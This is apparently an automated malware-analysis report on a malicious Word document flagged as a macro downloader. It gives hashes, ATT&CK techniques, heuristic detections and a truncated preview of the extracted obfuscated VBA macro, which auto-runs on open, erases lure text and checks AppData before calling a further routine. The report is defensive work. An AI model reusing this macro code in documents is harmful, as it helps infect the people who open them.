Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 fb1f37151a7e932a…

MALICIOUS

Office (OOXML)

110.6 KB Created: 2021-09-29 22:23:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-10-05
MD5: a3b9ca9f917dc6e0fac84ef6b384e281 SHA-1: b3bccf48f770d2758d2f63094b64aca529e5f6bc SHA-256: fb1f37151a7e932a9d8b851db4bf9e0c67d9e7018c7d92f5508c1a0351855908
430 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1566.001 Spearphishing Attachment

The sample contains obfuscated VBA macros with Auto_Open and Document_Open execution triggers, indicating a malicious document. The script references PowerShell and uses GetObject, suggesting it attempts to download and execute a second-stage payload. The presence of 'AppData\*.txt' in the script hints at a potential download location or artifact.

Heuristics 10

  • ClamAV: Doc.Downloader.Shellhide-10014935-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Shellhide-10014935-0
  • VBA project inside OOXML medium 7 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 16194 bytes
SHA-256: cd69f857faa0dcb615406f3bfb7a0dafcec334d7a18c60736907f93c570dfdfd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Dim bSaved As Boolean

Sub Auto_Open()

End Sub

Sub Document_Open()


Call aFbrYojEmcWdsikHGKZmJXLeTZYbCyyjyCITeYpgDeX

Call gheKWwSREQsbejXzFCuPOrjcaTrifuFCdEfkmhLCrMsE


If Len(Dir(Environ("AppData") + "\*.txt")) = 0 Then
SjfLQMpTQmYVzeudAFBiwKKXiiwARIfUQtAEGGCoGgDhLTdNzcIprEEofKBFWQAvrkMbjnOsXaUCjWtNiLQjPURJLOdSITH
Else

End If

End Sub

Sub aFbrYojEmcWdsikHGKZmJXLeTZYbCyyjyCITeYpgDeX()

Dim DXoYkzuOVUusbhoWlypEHYFUJKbgicsaYDjcLojCEdlMumdpcMQWtaOIGtbzhZDBxFhbaBXNpRqtqBUejXQAuuKbQu As String, brhynDbeoRenzbJ As String
Dim lWOauYTORoyojTAXnCoUkIcrTnvSZEfiJnZTPpUBskbsfSmhlKMteSJtWxNdtKFSBBj As Range, VNxiHVsuHiXoTkOwW As Range
Dim FqRpfZyHXaxirTgcNERQtuKXcqMJjQDL As Range, TQNbMQALzmUFrpPAgooRdgyRqLIPKBiKBUlzDanyXHTcMBytHVZCoaSVMEHxNqPKdHCOJWsuViMOdMQMae As Range, gCavuEjHVcpmNLLtNmnJMJuuksfXeexBUcarWcNTjARwnVeCARdEHsTziahpDcRo As Range

'Setting up the Ranges
Set lWOauYTORoyojTAXnCoUkIcrTnvSZEfiJnZTPpUBskbsfSmhlKMteSJtWxNdtKFSBBj = ActiveDocument.Range
Set VNxiHVsuHiXoTkOwW = ActiveDocument.Range
Set FqRpfZyHXaxirTgcNERQtuKXcqMJjQDL = ActiveDocument.Range

ActiveDocument.ActiveWindow.View.DisplayBackgrounds = True
ActiveDocument.Background.Fill.ForeColor.RGB = RGB(225, 225, 225)
ActiveDocument.Background.Fill.Transparency = 0#

'Set your Start and End Find words here to cleanup the script
DXoYkzuOVUusbhoWlypEHYFUJKbgicsaYDjcLojCEdlMumdpcMQWtaOIGtbzhZDBxFhbaBXNpRqtqBUejXQAuuKbQu = "This Document Is"
brhynDbeoRenzbJ = "Version."

'Starting the Find First Word
With lWOauYTORoyojTAXnCoUkIcrTnvSZEfiJnZTPpUBskbsfSmhlKMteSJtWxNdtKFSBBj.Find
.Text = DXoYkzuOVUusbhoWlypEHYFUJKbgicsaYDjcLojCEdlMumdpcMQWtaOIGtbzhZDBxFhbaBXNpRqtqBUejXQAuuKbQu
.Replacement.Text = ""
.Forward = True
.Wrap = wdFindAsk
.Format = True
.MatchCase = False
.MatchWholeWord = False
.MatchWildcards = False
.MatchSoundsLike = False
.MatchAllWordForms = False

'Execute the Find
Do While .Execute
'If Found then do extra script
If .Found = True Then
'Setting the Found range to the TQNbMQALzmUFrpPAgooRdgyRqLIPKBiKBUlzDanyXHTcMBytHVZCoaSVMEHxNqPKdHCOJWsuViMOdMQMae
Set TQNbMQALzmUFrpPAgooRdgyRqLIPKBiKBUlzDanyXHTcMBytHVZCoaSVMEHxNqPKdHCOJWsuViMOdMQMae = lWOauYTORoyojTAXnCoUkIcrTnvSZEfiJnZTPpUBskbsfSmhlKMteSJtWxNdtKFSBBj
'Having these Selections during testing is benificial to test your script
TQNbMQALzmUFrpPAgooRdgyRqLIPKBiKBUlzDanyXHTcMBytHVZCoaSVMEHxNqPKdHCOJWsuViMOdMQMae.Select

'Setting the VNxiHVsuHiXoTkOwW up for the remainder of the document form the end of the DXoYkzuOVUusbhoWlypEHYFUJKbgicsaYDjcLojCEdlMumdpcMQWtaOIGtbzhZDBxFhbaBXNpRqtqBUejXQAuuKbQu
VNxiHVsuHiXoTkOwW.Start = TQNbMQALzmUFrpPAgooRdgyRqLIPKBiKBUlzDanyXHTcMBytHVZCoaSVMEHxNqPKdHCOJWsuViMOdMQMae.End
VNxiHVsuHiXoTkOwW.End = ActiveDocument.Content.End

'Having these Selections during testing is benificial to test your script
VNxiHVsuHiXoTkOwW.Select


'Setting the Find to look for the End Word
With VNxiHVsuHiXoTkOwW.Find
.Text = brhynDbeoRenzbJ
.Execute

'If Found then do extra script
If .Found = True Then
'Setting the Found range to the gCavuEjHVcpmNLLtNmnJMJuuksfXeexBUcarWcNTjARwnVeCARdEHsTziahpDcRo
Set gCavuEjHVcpmNLLtNmnJMJuuksfXeexBUcarWcNTjARwnVeCARdEHsTziahpDcRo = VNxiHVsuHiXoTkOwW

'Having these Selections during testing is benificial to test your script
gCavuEjHVcpmNLLtNmnJMJuuksfXeexBUcarWcNTjARwnVeCARdEHsTziahpDcRo.Select

End If

End With

'Selecting the delete range
FqRpfZyHXaxirTgcNERQtuKXcqMJjQDL.Start = TQNbMQALzmUFrpPAgooRdgyRqLIPKBiKBUlzDanyXHTcMBytHVZCoaSVMEHxNqPKdHCOJWsuViMOdMQMae.Start
FqRpfZyHXaxirTgcNERQtuKXcqMJjQDL.End = gCavuEjHVcpmNLLtNmnJMJuuksfXeexBUcarWcNTjARwnVeCARdEHsTziahpDcRo.End
'Having these Selections during testing is benificial to test your script
FqRpfZyHXaxirTgcNERQtuK
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 158720 bytes
SHA-256: 93789dea62b11be08af58c3c8f3236aab864e01c4ebc6c6996d2ddc8ae048152
Detection
ClamAV: Doc.Downloader.Shellhide-10014935-0
Obfuscation or payload: unlikely